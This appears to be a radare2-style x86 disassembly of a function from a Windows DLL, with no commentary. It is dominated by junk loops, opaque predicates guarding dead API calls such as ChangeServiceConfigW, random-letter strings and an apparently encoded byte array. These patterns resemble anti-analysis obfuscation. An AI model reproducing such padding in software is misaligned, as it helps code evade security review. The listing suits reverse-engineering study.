je 0x10015cab
mov dword [ebp - 0x648], 0x416
mov dword [ebp - 0x898], str.rabtap_yqsqbch_amoh_eoti_kndtpum_hmx_nxydcrtn_akqa_qtqwnwlas
cmp dword [ebp - 0x648], 0x4ee
jle 0x10015c59
push 1
push 0xfa5
call dword [sym.imp.USER32.dll_EnableWindow]
and dword [ebp - 0x274], 0
jmp 0x10015b98
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 0x5273
jge 0x10015c59
and dword [ebp - 0x36c], 0
jmp 0x10015bbe
mov eax, dword [ebp - 0x36c]
inc eax
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 0x5d49
jge 0x10015c54
and dword [ebp - 0x27c], 0
jmp 0x10015be4
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0x3d20
jge 0x10015c4f
mov eax, dword [ebp - 0x274]
mov ecx, dword [ebp - 0x36c]
shl eax, cl
or eax, dword [ebp - 0x27c]
cdq
mov dword [ebp - 0x93c], eax
mov dword [ebp - 0x938], edx
push dword [ebp - 0x938]
push dword [ebp - 0x93c]
lea ecx, [ebp - 0x101c]
call fcn.10002462
pop ecx
pop ecx
mov dword [ebp - 0xab4], eax
mov ecx, dword [ebp - 0xab4]
call fcn.10003dca
push eax
call fcn.1003eb1f
pop ecx
lea ecx, [ebp - 0x101c]
call fcn.10003dc0
jmp 0x10015bd7
jmp 0x10015bb1
jmp 0x10015b8b
push 0
push 0x1cd0
call dword [sym.imp.USER32.dll_GetWindowRect]
mov dword [ebp - 4], 0x22
cmp dword [ebp - 0x648], 0x2cd
jge 0x10015c85
push dword [ebp - 0x898]
call fcn.1003eb1f
pop ecx
jmp 0x10015ca1
or dword [ebp - 4], 0xffffffff
jmp 0x10015cab
mov dword [ebp - 4], 0x24
cmp dword [ebp - 0x4b8], 0x57fb
jge 0x10015cca
push dword [ebp - 0xa08]
call fcn.1003eb1f
pop ecx
jmp 0x10015ce6
or dword [ebp - 4], 0xffffffff
jmp 0x10015cf0
mov byte [ebp - 0xb9], 0
movzx eax, byte [ebp - 0xb9]
test eax, eax
je 0x10015d12
push 0x16fa
push 0x103a
call dword [sym.imp.GDI32.dll_SetMapMode]
xor eax, eax
mov ecx, dword [ebp - 0x374]
mov word [ebp + ecx*2 - 0xc70], ax
jmp 0x1001599f
mov dword [ebp - 0xa4], 0x48d327cb
mov dword [ebp - 0x8a4], 0x4defc72f
mov dword [ebp - 0x8b0], 0x5ea37665
mov dword [ebp - 0xa4], 0
jmp 0x10015d5e
mov eax, dword [ebp - 0xa4]
dec eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0xfffffff5
jge 0x100160f1
push 1
lea ecx, [ebp - 0x380]
call fcn.100018bd
mov dword [ebp - 4], 0x26
mov dword [ebp - 0x58], 0
jmp 0x10015d8f
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 1
jge 0x10015dab
push dword [ebp - 0x58]
lea ecx, [ebp - 0x380]
call fcn.1000195c
mov dword [eax], 0x665683c8
jmp 0x10015d88
mov dword [ebp - 0x58], 0
jmp 0x10015dbb
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 1
jge 0x10015dd1
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x4e0], 0xfffffffa
jmp 0x10015db4
push 0
lea ecx, [ebp - 0x380]
call fcn.1000195c
mov dword [eax], 0x15
jmp 0x10015e0a
push 0
lea ecx, [ebp - 0x380]
call fcn.1000195c
mov dword [ebp - 0x77c], eax
mov eax, dword [ebp - 0x77c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x77c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x380]
call fcn.1000195c
cmp dword [eax], 0xfffffffc
jge 0x100160dd
mov dword [ebp - 0x284], 0x972c
mov dword [ebp - 0x11c], 7
mov esi, dword [ebp - 0xa4]
push 0
lea ecx, [ebp - 0x380]
call fcn.1000195c
cmp esi, dword [eax]
jge 0x10015e57
mov dword [ebp - 0x4c0], 1
jmp 0x10015e5e
and dword [ebp - 0x4c0], 0
cmp dword [ebp - 0x4c0], 1
jne 0x10015e73
mov dword [ebp - 0x4c8], 1
jmp 0x10015e7a
and dword [ebp - 0x4c8], 0
cmp dword [ebp - 0x11c], 0
jne 0x10015e9e
push 0
lea ecx, [ebp - 0x380]
call fcn.1000195c
cmp dword [eax], 0
jne 0x10015e9e
and dword [ebp - 0x650], 0
jmp 0x10015ea8
mov dword [ebp - 0x650], 1
cmp dword [ebp - 0x650], 0xeb16
jg 0x10015ec9
cmp dword [ebp - 0x11c], 0
je 0x10015ec9
mov dword [ebp - 0x718], 1
jmp 0x10015ed0
and dword [ebp - 0x718], 0
mov eax, dword [ebp - 0x4c8]
mov dword [ebp - 0x284], eax
mov eax, dword [ebp - 0x284]
cmp eax, dword [ebp - 0x718]
jle 0x10015ef6
mov dword [ebp - 0x4d0], 1
jmp 0x10015efd
and dword [ebp - 0x4d0], 0
mov eax, dword [ebp - 0x4d0]
neg eax
cmp eax, 0xffffffff
jae 0x10015f1f
cmp dword [ebp - 0x284], 0
je 0x10015f1f
mov dword [ebp - 0x658], 1
jmp 0x10015f26
and dword [ebp - 0x658], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x658]
mov dword [ebp + eax - 0x4e0], ecx
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x8a4], eax
push 0
lea ecx, [ebp - 0x380]
call fcn.1000195c
cmp dword [eax], 0x11ec
jg 0x10015f66
mov dword [ebp - 0x4d8], 1
jmp 0x10015f6d
and dword [ebp - 0x4d8], 0
push 0
lea ecx, [ebp - 0x380]
call fcn.1000195c
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [eax]
jg 0x10015f90
mov dword [ebp - 0x7b8], 1
jmp 0x10015f97
and dword [ebp - 0x7b8], 0
cmp dword [ebp - 0x7b8], 2
jne 0x10015fb9
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x4e0], 0
jne 0x10015fb9
and dword [ebp - 0x660], 0
jmp 0x10015fc3
mov dword [ebp - 0x660], 1
push 0
lea ecx, [ebp - 0x380]
call fcn.1000195c
mov ecx, dword [ebp - 0x660]
cmp ecx, dword [eax]
je 0x10015fe6
mov dword [ebp - 0x4e8], 1
jmp 0x10015fed
and dword [ebp - 0x4e8], 0
mov esi, dword [ebp - 0x11c]
push 0
lea ecx, [ebp - 0x380]
call fcn.1000195c
mov ecx, dword [ebp - 0x4e8]
sub ecx, dword [eax]
cmp ecx, esi
jne 0x10016018
mov dword [ebp - 0xa70], 1
jmp 0x1001601f
and dword [ebp - 0xa70], 0
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0xd64], eax
push 2
pop eax
sub eax, dword [ebp - 0x11c]
jne 0x10016048
cmp dword [ebp - 0xa4], 0
jne 0x10016048
and dword [ebp - 0x720], 0
jmp 0x10016052
mov dword [ebp - 0x720], 1
push 0
lea ecx, [ebp - 0x380]
call fcn.1000195c
mov ecx, dword [ebp - 0x720]
cmp ecx, dword [eax]
jge 0x1001607b
cmp dword [ebp - 0x284], 0
jne 0x1001607b
and dword [ebp - 0x4f0], 0
jmp 0x10016085
mov dword [ebp - 0x4f0], 1
cmp dword [ebp - 0x4f0], 0xf1ef
jle 0x100160a6
mov eax, 0x7df7dc2
test eax, eax
je 0x100160a6
mov dword [ebp - 0x668], 1
jmp 0x100160ad
and dword [ebp - 0x668], 0
cmp dword [ebp - 0x668], 0x6e7f737a
jge 0x100160c5
mov dword [ebp - 0x4f8], 1
jmp 0x100160cc
and dword [ebp - 0x4f8], 0
mov eax, dword [ebp - 0x4f8]
mov dword [ebp - 0x8b0], eax
jmp 0x10015de6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x380]
call fcn.10001940
jmp 0x10015d51
cmp dword [ebp - 0x5d4], 0
je 0x100192be
mov dword [ebp - 0xdcc], 0xfffffff9
mov byte [ebp - 0xc1], 0
movzx eax, byte [ebp - 0xc1]
test eax, eax
je 0x10016122
push 0
call dword [sym.imp.KERNEL32.dll_GetFileType]
mov byte [ebp - 0xbb], 0
movzx eax, byte [ebp - 0xbb]
test eax, eax
je 0x10016141
push 0
push 0x24ef
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push 2
lea ecx, [ebp - 0xa7c]
call fcn.100018bd
mov dword [ebp - 4], 0x27
mov dword [ebp - 0x2c], 0x7ce53d8d
mov dword [ebp - 0x500], 0
push 1
lea ecx, [ebp - 0xb08]
call fcn.100018bd
mov byte [ebp - 4], 0x28
mov dword [ebp - 0xb80], 0xa1e1c5a3
mov dword [ebp - 0xb7c], 0xa1e1c5a3
mov dword [ebp - 0xb78], 0xa1e1c5a3
mov dword [ebp - 0xb74], 0xa1e1c5a3
lea ecx, [ebp - 0x3a5]
call fcn.1000196b
push eax
lea eax, [ebp - 0xb70]
push eax
lea eax, [ebp - 0xb80]
push eax
lea ecx, [ebp - 0xee4]
call fcn.1000196e
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xd04]
call fcn.1000191a
mov byte [ebp - 4], 0x29
mov dword [ebp - 0xd6c], 0
push 3
lea ecx, [ebp - 0xcf4]
call fcn.100018bd
mov byte [ebp - 4], 0x2a
push 3
lea ecx, [ebp - 0xce4]
call fcn.100018bd
mov byte [ebp - 4], 0x2b
mov dword [ebp - 0x520], 0xb9cc
mov dword [ebp - 0xe28], 0
mov dword [ebp - 0x14], 0
jmp 0x10016228
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x10016244
push dword [ebp - 0x14]
lea ecx, [ebp - 0xa7c]
call fcn.1000195c
mov dword [eax], 0xfffffffe
jmp 0x10016221
mov dword [ebp - 0x14], 0
jmp 0x10016254
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jge 0x10016270
push dword [ebp - 0x14]
lea ecx, [ebp - 0xb08]
call fcn.1000195c
mov dword [eax], 0x2cf415d7
jmp 0x1001624d
mov dword [ebp - 0x14], 0
jmp 0x10016280
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1001629c
push dword [ebp - 0x14]
lea ecx, [ebp - 0xcf4]
call fcn.1000195c
mov dword [eax], 0x7f0a
jmp 0x10016279
mov dword [ebp - 0x14], 0
jmp 0x100162ac
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x100162c8
push dword [ebp - 0x14]
lea ecx, [ebp - 0xce4]
call fcn.1000195c
mov dword [eax], 0x2628f0fc
jmp 0x100162a5
mov dword [ebp - 0x2c], 0
jmp 0x100162d8
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 1
jg 0x100164dc
mov dword [ebp - 0x7a8], 0xfffffffa
mov dword [ebp - 0xafc], 0xf90ef307
mov dword [ebp - 0xaf8], 0xf90ef307
mov dword [ebp - 0xaf4], 0xf90ef307
mov dword [ebp - 0xaf0], 0xf90ef307
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0xafc]
push 1
lea ecx, [ebp - 0xa7c]
call fcn.1000195c
cmp esi, dword [eax]
jge 0x1001633e
mov dword [ebp - 0x784], 1
jmp 0x10016345
and dword [ebp - 0x784], 0
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0x500], eax
mov esi, dword [ebp - 0x500]
push 0
lea ecx, [ebp - 0xb08]
call fcn.1000195c
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xa7c]
call fcn.1000195c
cmp dword [eax], 0xd1d25bb0
ja 0x10016386
mov dword [ebp - 0x670], 1
jmp 0x1001638d
and dword [ebp - 0x670], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xafc]
cmp eax, dword [ebp - 0x670]
jne 0x100163ae
mov dword [ebp - 0x508], 1
jmp 0x100163b5
and dword [ebp - 0x508], 0
mov esi, dword [ebp - 0x2c]
push 0
lea ecx, [ebp - 0xb08]
call fcn.1000195c
mov eax, dword [eax]
sub eax, dword [ebp - 0x508]
cmp eax, esi
jl 0x100163dd
mov dword [ebp - 0x728], 1
jmp 0x100163e4
and dword [ebp - 0x728], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x728], eax
jge 0x10016404
mov eax, 0x549c4b05
test eax, eax
je 0x10016404
mov dword [ebp - 0x510], 1
jmp 0x1001640b
and dword [ebp - 0x510], 0
cmp dword [ebp - 0x510], 0x50e3
jle 0x10016423
mov dword [ebp - 0xa10], 1
jmp 0x1001642a
and dword [ebp - 0xa10], 0
cmp dword [ebp - 0x7a8], 7
jge 0x1001643f
mov dword [ebp - 0x678], 1
jmp 0x10016446
and dword [ebp - 0x678], 0
push 1
lea ecx, [ebp - 0xd04]
call fcn.1000195c
mov dword [ebp - 0x394], eax
mov eax, dword [ebp - 0x394]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x394]
mov dword [ecx], eax
mov eax, dword [ebp - 0x394]
mov eax, dword [eax]
cmp eax, dword [ebp - 0x678]
jge 0x10016486
mov dword [ebp - 0x3dc], 1
jmp 0x1001648d
and dword [ebp - 0x3dc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3dc]
mov dword [ebp + eax - 0xafc], ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xa7c]
call fcn.1000195c
mov eax, dword [eax]
cmp eax, dword [ebp - 0x3dc]
je 0x100164c4
mov dword [ebp - 0x518], 1
jmp 0x100164cb
and dword [ebp - 0x518], 0
mov eax, dword [ebp - 0x518]
mov dword [ebp - 0x7a8], eax
jmp 0x100162d1
mov dword [ebp - 0x2c], 0x1d
jmp 0x100164ec
mov eax, dword [ebp - 0x2c]
dec eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xfffffff6
je 0x1001659e
mov dword [ebp - 0xd74], 0xd12f
mov dword [ebp - 0xdd4], 0xab10079d
mov dword [ebp - 0xd7c], 0x8991f32a
mov dword [ebp - 0xe08], 0x10f40bf6
mov dword [ebp - 0xd84], 0xfffffff6
mov dword [ebp - 0x5c], 0
jmp 0x10016538
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 2
jge 0x1001654e
mov eax, dword [ebp - 0x5c]
mov dword [ebp + eax*4 - 0xe94], 0xfffffff9
jmp 0x10016531
mov dword [ebp - 0x5c], 0
jmp 0x1001655e
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 3
jge 0x10016574
mov eax, dword [ebp - 0x5c]
mov dword [ebp + eax*4 - 0x104c], 0xf903a798
jmp 0x10016557
mov byte [ebp - 0xae], 0
movzx eax, byte [ebp - 0xae]
test eax, eax
je 0x1001658c
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov eax, dword [ebp - 0x520]
inc eax
mov dword [ebp - 0x520], eax
jmp 0x100164e5
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0xce4]
call fcn.10001940
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0xcf4]
call fcn.10001940
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0xd04]
call fcn.10001940
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0xb08]
call fcn.10001940
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa7c]
call fcn.10001940
mov dword [ebp - 0xac8], 1
mov dword [ebp - 0xac4], 1
mov dword [ebp - 0xac0], 1
mov dword [ebp - 0xabc], 1
mov dword [ebp - 0x558], 0x1718bc69
mov dword [ebp - 0x324], 0
jmp 0x10016634
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 1
jge 0x10016650
mov eax, dword [ebp - 0x324]
mov dword [ebp + eax*4 - 0x39c], 0xc0ae9714
jmp 0x10016627
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xac8], 0
jmp 0x1001667e
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xac8]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xac8], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xac8], 0
jl 0x10016b6b
mov dword [ebp - 0x54], 0x7a00f47a
mov dword [ebp - 0x540], 1
mov dword [ebp - 0x54], 0
jmp 0x100166b3
mov eax, dword [ebp - 0x54]
dec eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jl 0x10016b66
push 4
lea ecx, [ebp - 0xa8c]
call fcn.100018bd
mov dword [ebp - 4], 0x2c
mov dword [ebp - 0x680], 0x6234
mov dword [ebp - 0x8bc], str.aijgqtahz_lntrxqhb_bubuziagf_zug_spqbw_njrvcqwxu_eacow_vuarb_pzbj
cmp dword [ebp - 0x680], 0x62b0
jle 0x1001679d
and dword [ebp - 0x28c], 0
jmp 0x1001670b
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0x411
jge 0x1001679d
and dword [ebp - 0x370], 0
jmp 0x10016731
mov eax, dword [ebp - 0x370]
inc eax
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 0x5590
jge 0x10016798
and dword [ebp - 0x294], 0
jmp 0x10016753
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0x1d4a
jge 0x10016796
mov eax, dword [ebp - 0x28c]
add eax, dword [ebp - 0x370]
sub eax, dword [ebp - 0x294]
cdq
mov dword [ebp - 0x948], eax
mov dword [ebp - 0x944], edx
push dword [ebp - 0x944]
push dword [ebp - 0x948]
mov ecx, 0x10071e38
call fcn.10003dea
jmp 0x10016746
jmp 0x10016724
jmp 0x100166fe
mov dword [ebp - 0xd4], 0
mov byte [ebp - 4], 0x2d
cmp dword [ebp - 0x680], 0x5fa8
jge 0x100167c7
mov edx, dword [ebp - 0x8bc]
mov ecx, 0x10071e38
call fcn.10005f73
jmp 0x100167e3
mov dword [ebp - 4], 0x2c
jmp 0x100167f3
mov dword [ebp - 0x538], 0x1780eec2
mov dword [ebp - 0x338], 0
jmp 0x10016816
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 4
jge 0x10016838
push dword [ebp - 0x338]
lea ecx, [ebp - 0xa8c]
call fcn.1000195c
mov dword [eax], 0xd72276b
jmp 0x10016809
push 3
lea ecx, [ebp - 0xa8c]
call fcn.1000195c
and dword [eax], 0
jmp 0x1001686e
push 3
lea ecx, [ebp - 0xa8c]
call fcn.1000195c
mov dword [ebp - 0x528], eax
mov eax, dword [ebp - 0x528]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x528]
mov dword [ecx], eax
push 3
lea ecx, [ebp - 0xa8c]
call fcn.1000195c
cmp dword [eax], 0
jl 0x10016ad6
mov dword [ebp - 0x730], 0x740
mov dword [ebp - 0x8c8], str.kooekjam_nitq_xnuxu_qfrknxd_tmdpqyev_dpqccky_nqsggz_qyt_ilkqmxsh_icdlnkewz_carlbeyx_mivbswxcp_mzjorowgh
cmp dword [ebp - 0x730], 0x7a3
jle 0x1001694e
and dword [ebp - 0x29c], 0
jmp 0x100168be
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0x73fe
jge 0x1001694e
and dword [ebp - 0x358], 0
jmp 0x100168e4
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0x2f4d
jge 0x10016949
mov eax, dword [ebp - 0x29c]
mov ecx, dword [ebp - 0x358]
sar eax, cl
cdq
mov dword [ebp - 0x954], eax
mov dword [ebp - 0x950], edx
push dword [ebp - 0x950]
push dword [ebp - 0x954]
lea ecx, [ebp - 0xf14]
call fcn.10002462
pop ecx
pop ecx
mov dword [ebp - 0xad0], eax
mov ecx, dword [ebp - 0xad0]
call fcn.10003dca
push eax
call fcn.1003eb1f
pop ecx
lea ecx, [ebp - 0xf14]
call fcn.10003dc0
jmp 0x100168d7
jmp 0x100168b1
mov dword [ebp - 0xa18], 8
mov byte [ebp - 4], 0x2f
cmp dword [ebp - 0x730], 0x5f4
jge 0x10016974
push dword [ebp - 0x8c8]
call fcn.1003eb1f
pop ecx
jmp 0x10016990
mov dword [ebp - 4], 0x2c
jmp 0x100169a0
cmp dword [ebp - 0x54], 0
jne 0x100169b8
mov eax, 0xb445
test eax, eax
jne 0x100169b8
and dword [ebp - 0x530], 0
jmp 0x100169c2
mov dword [ebp - 0x530], 1
cmp dword [ebp - 0x530], 0xfffffff9
jae 0x100169d7
mov dword [ebp - 0x688], 1
jmp 0x100169de
and dword [ebp - 0x688], 0
mov eax, dword [ebp - 0x688]
mov dword [ebp - 0x538], eax
mov eax, dword [ebp - 0x538]
cmp eax, dword [ebp - 0x54]
jg 0x10016a01
mov dword [ebp - 0x78c], 1
jmp 0x10016a08
and dword [ebp - 0x78c], 0
mov eax, dword [ebp - 0x78c]
mov dword [ebp - 0x540], eax
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x540]
cmp ecx, dword [ebp + eax*4 - 0x39c]
jg 0x10016a32
mov dword [ebp - 0x690], 1
jmp 0x10016a39
and dword [ebp - 0x690], 0
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x690], eax
jg 0x10016a53
mov dword [ebp - 0x548], 1
jmp 0x10016a5a
and dword [ebp - 0x548], 0
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp + eax*4 - 0x39c]
cmp dword [ebp - 0x548], eax
jne 0x10016a78
mov dword [ebp - 0x738], 1
jmp 0x10016a7f
and dword [ebp - 0x738], 0
mov eax, dword [ebp - 0xd4]
cmp eax, dword [ebp - 0x738]
jne 0x10016a99
mov dword [ebp - 0x550], 1
jmp 0x10016aa0
and dword [ebp - 0x550], 0
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp + eax*4 - 0x39c]
cmp eax, dword [ebp - 0x550]
jle 0x10016abe
mov dword [ebp - 0x698], 1
jmp 0x10016ac5
and dword [ebp - 0x698], 0
mov eax, dword [ebp - 0x698]
mov dword [ebp - 0xa18], eax
jmp 0x1001684a
mov dword [ebp - 0x558], 1
cmp dword [ebp - 0x558], 0
je 0x10016b14
mov byte [ebp - 0xb0], 0
movzx eax, byte [ebp - 0xb0]
test eax, eax
je 0x10016b12
push 0x1837
push 0
push 0x805
push 0x27b
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
jmp 0x10016b52
mov dword [ebp - 0xd4], 0
jmp 0x10016b2d
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0
jg 0x10016b52
mov byte [ebp - 0xb2], 0
movzx eax, byte [ebp - 0xb2]
test eax, eax
je 0x10016b50
push 0
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
jmp 0x10016b20
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa8c]
call fcn.10001940
jmp 0x100166ac
jmp 0x10016663
mov byte [ebp - 0x86], 0
movzx eax, byte [ebp - 0x86]
test eax, eax
je 0x10016b88
push 0x1738
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov byte [ebp - 0x17c], 0
mov byte [ebp - 0x17b], 0xad
mov byte [ebp - 0x17a], 3
mov byte [ebp - 0x179], 0xb6
mov byte [ebp - 0x178], 0xfa
mov byte [ebp - 0x177], 0x9d
mov byte [ebp - 0x176], 9
mov byte [ebp - 0x175], 0x23
mov byte [ebp - 0x174], 0xa
mov byte [ebp - 0x173], 0x16
mov byte [ebp - 0x172], 0xc
mov byte [ebp - 0x171], 1
mov byte [ebp - 0x170], 5
mov byte [ebp - 0x16f], 0x1c
mov byte [ebp - 0x16e], 6
mov byte [ebp - 0x16d], 0xc
mov byte [ebp - 0x16c], 4
mov byte [ebp - 0x16b], 0x11
mov byte [ebp - 0x16a], 1
mov byte [ebp - 0x169], 0x17
mov byte [ebp - 0x168], 8
mov byte [ebp - 0x167], 1
mov byte [ebp - 0x166], 3
mov byte [ebp - 0x165], 0x34
mov byte [ebp - 0x164], 0xd
mov byte [ebp - 0x163], 0x23
mov byte [ebp - 0x162], 2
mov byte [ebp - 0x161], 7
mov byte [ebp - 0x160], 0xb
mov byte [ebp - 0x15f], 0x11
mov byte [ebp - 0x15e], 7
mov byte [ebp - 0x15d], 0x24
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0x198], 1
mov dword [ebp - 0xab8], 0xfffffff7
mov dword [ebp - 0xddc], 0
mov dword [ebp - 0x8f8], 0xcb8f6c21
mov dword [ebp - 0xb94], 0x4b0b4ef6
mov dword [ebp - 0xb90], 0x4b0b4ef6
mov dword [ebp - 0xb8c], 0x4b0b4ef6
mov dword [ebp - 0xb88], 0x4b0b4ef6
lea ecx, [ebp - 0x3ad]
call fcn.1000196b
push eax
lea eax, [ebp - 0xb84]
push eax
lea eax, [ebp - 0xb94]
push eax
lea ecx, [ebp - 0xebc]
call fcn.1000196e
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xd14]
call fcn.1000191a
mov dword [ebp - 4], 0x31
mov dword [ebp - 0x3bc], 0xffffffff
mov dword [ebp - 0xa28], 1
mov dword [ebp - 0xf8], 0
jmp 0x10016d2b
mov eax, dword [ebp - 0xf8]
dec eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0xffffffe9
je 0x10016f1d
mov dword [ebp - 0x8d4], 0xf54c
mov dword [ebp - 0xa80], 0xfffffff8
mov eax, dword [ebp - 0x8d4]
mov dword [ebp - 0x198], eax
mov eax, dword [ebp - 0x198]
mov dword [ebp - 0xa80], eax
mov dword [ebp - 0x7ac], 0x3d8f
mov dword [ebp - 0xa20], str.uzg_jnsu_kwdwvyp_kpebxyvzt_izdwif_uvxkk_juu_iqam_mhvern
cmp dword [ebp - 0x7ac], 0x3ee9
jle 0x10016e99
and dword [ebp - 0x190], 0
jmp 0x10016d9e
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0x50a
jge 0x10016e91
and dword [ebp - 0x188], 0
jmp 0x10016dc4
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0xc2f
jge 0x10016e8c
and dword [ebp - 0x2a4], 0
jmp 0x10016dea
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0x7f33
jge 0x10016e87
and dword [ebp - 0x184], 0
jmp 0x10016e10
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0x357f
jge 0x10016e82
mov eax, dword [ebp - 0x2a4]
cdq
idiv dword [ebp - 0x184]
mov eax, dword [ebp - 0x188]
sub eax, edx
or eax, dword [ebp - 0x190]
cdq
mov dword [ebp - 0x960], eax
mov dword [ebp - 0x95c], edx
push dword [ebp - 0x95c]
push dword [ebp - 0x960]
lea ecx, [ebp - 0xf2c]
call fcn.10002462
pop ecx
pop ecx
mov dword [ebp - 0x8e0], eax
mov ecx, dword [ebp - 0x8e0]
call fcn.10003dca
push eax
call fcn.1003eb1f
pop ecx
lea ecx, [ebp - 0xf2c]
call fcn.10003dc0
jmp 0x10016e03
jmp 0x10016ddd
jmp 0x10016db7
jmp 0x10016d91
push 0
call dword [sym.imp.KERNEL32.dll_EncodePointer]
mov byte [ebp - 0x87], 0
mov byte [ebp - 4], 0x32
cmp dword [ebp - 0x7ac], 0x3d72
jge 0x10016ebc
push dword [ebp - 0xa20]
call fcn.1003eb1f
pop ecx
jmp 0x10016ed8
mov dword [ebp - 4], 0x31
jmp 0x10016ee8
movzx eax, byte [ebp - 0x87]
test eax, eax
je 0x10016f18
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x8a2
push 0x1be3
push 0x1491
push 0
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
jmp 0x10016d1e
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0xd8c], eax
cmp dword [ebp - 0x198], 0xb2906c90
jae 0x10016f58
mov eax, dword [ebp - 0x3bc]
mov ecx, dword [ebp - 0x3bc]
dec ecx
mov dword [ebp - 0x3bc], ecx
test eax, eax
je 0x10016f58
mov dword [ebp - 0x560], 1
jmp 0x10016f5f
and dword [ebp - 0x560], 0
cmp dword [ebp - 0xf8], 0xf928
jge 0x10016f80
mov eax, 0x5755261f
test eax, eax
je 0x10016f80
mov dword [ebp - 0x8ec], 1
jmp 0x10016f87
and dword [ebp - 0x8ec], 0
mov eax, dword [ebp - 0x198]
mov dword [ebp - 0xe20], eax
mov eax, dword [ebp - 0xab8]
neg eax
cmp dword [ebp - 0x560], eax
jge 0x10016fb8
mov eax, 0x997b09b3
test eax, eax
je 0x10016fb8
mov dword [ebp - 0x6a0], 1
jmp 0x10016fbf
and dword [ebp - 0x6a0], 0
push 2
lea ecx, [ebp - 0xd14]
call fcn.1000195c
mov ecx, dword [ebp - 0x6a0]
cmp ecx, dword [eax]
jg 0x10016fe2
mov dword [ebp - 0x568], 1
jmp 0x10016fe9
